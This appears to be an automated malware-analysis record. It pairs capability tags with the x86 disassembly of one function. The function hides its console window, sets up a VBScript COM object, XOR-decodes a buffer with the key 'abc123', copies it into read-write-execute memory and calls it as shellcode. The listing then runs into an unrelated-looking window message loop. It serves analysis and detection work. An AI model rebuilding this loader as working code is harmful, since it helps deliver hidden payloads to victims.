Function at 0x401310
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test eax, eax
je 0x40132f
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jns 0x401347
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea eax, [esp + 0x10]
push eax
push 0x40d2d4
push 1
push 0
push 0x40d2e4
mov dword [esp + 0x24], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40149e
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40149e
mov ecx, dword [eax]
mov edx, dword [ecx + 0x20]
push str.VBScript
push eax
call edx
lea ebx, [esp + 0x18]
call section..text
mov eax, dword [esp + 0x18]
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
mov dword [ecx], eax
test eax, eax
je 0x4013ad
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ecx, dword [esp + 0x14]
call fcn.00401180
push ecx
mov ebx, esp
mov dword [esp + 0x28], esp
call fcn.00401090
mov ecx, dword [esp + 0x14]
lea ebx, [esp + 0x2c]
call fcn.00401230
mov eax, 0x2011
cmp word [esp + 0x28], ax
jne 0x40147e
mov esi, dword [esp + 0x30]
lea ecx, [esp + 0x14]
push ecx
push esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
cmp dword [esp + 0x14], 0
je 0x40147e
lea edx, [esp + 0x20]
push edx
push 1
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
lea eax, [esp + 0x1c]
push eax
push 1
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
mov edi, dword [esp + 0x1c]
sub edi, dword [esp + 0x20]
mov ebx, dword [esp + 0x14]
inc edi
mov ecx, 0
je 0x401450
xor edx, edx
mov eax, ecx
mov esi, 6
div esi
inc ecx
mov dl, byte [edx + str.abc123]
xor byte [ecx + ebx - 1], dl
cmp ecx, edi
jb 0x401432
mov esi, dword [esp + 0x24]
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x401477
mov eax, dword [esp + 0x14]
push edi
push eax
push ebx
call fcn.004027e0
add esp, 0xc
call ebx
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edi, [esp + 0x18]
call fcn.00401130
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edi, dword [ebp + 8]
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x410d90
push 0x67
push edi
call esi
push 0x64
push 0x410cc8
push 0x6d
push edi
call esi
mov eax, edi
call fcn.004015a0
push 0
push edi
push 0
push 0
push 0
push SysReAllocString
push 0
push SysReAllocString
push 0xcf0000
push 0x410d90
push 0x410cc8
push 0
mov dword [0x410e58], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
je 0x401587
mov ecx, dword [ebp + 0x14]
push ecx
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
push 0
lea edx, [esp + 0x48]
push edx
mov esi, eax
call edi
test eax, eax
je 0x40157a
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorW]
mov ecx, dword [esp + 0x3c]
lea eax, [esp + 0x3c]
push eax
push esi
push ecx
call ebx
test eax, eax
jne 0x401569
lea edx, [esp + 0x3c]
push edx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea ecx, [esp + 0x48]
push ecx
call edi
test eax, eax
jne 0x401542
mov eax, dword [esp + 0x44]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10